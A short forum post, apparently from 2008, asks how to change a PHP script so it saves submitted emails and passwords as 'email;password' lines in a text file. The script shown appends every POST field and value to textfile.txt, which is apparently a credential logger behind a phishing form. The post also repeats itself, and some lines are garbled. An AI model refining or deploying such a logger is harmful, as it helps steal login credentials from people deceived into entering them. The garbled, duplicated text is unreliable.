- Dec 19, 2008
- 704
- 1,101
I have a question,
NOT EVEN SURE IS THE RIGHT SECTION TO ASK THIS, BUT HERE IT GOES
How can I make a code to make it so it could send an email and password to a text file in this order email;password?
i have this code which does it like:
Email:Emailaddress
Pass
assword
this is the code
and like I said, i would like it to be Email
assword
REP will be given to best answer
Thanks
NOT EVEN SURE IS THE RIGHT SECTION TO ASK THIS, BUT HERE IT GOES
How can I make a code to make it so it could send an email and password to a text file in this order email;password?
i have this code which does it like:
Email:Emailaddress
Pass
this is the code
Code:
$handle = fopen("textfile.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
and like I said, i would like it to be Email
REP will be given to best answer
Thanks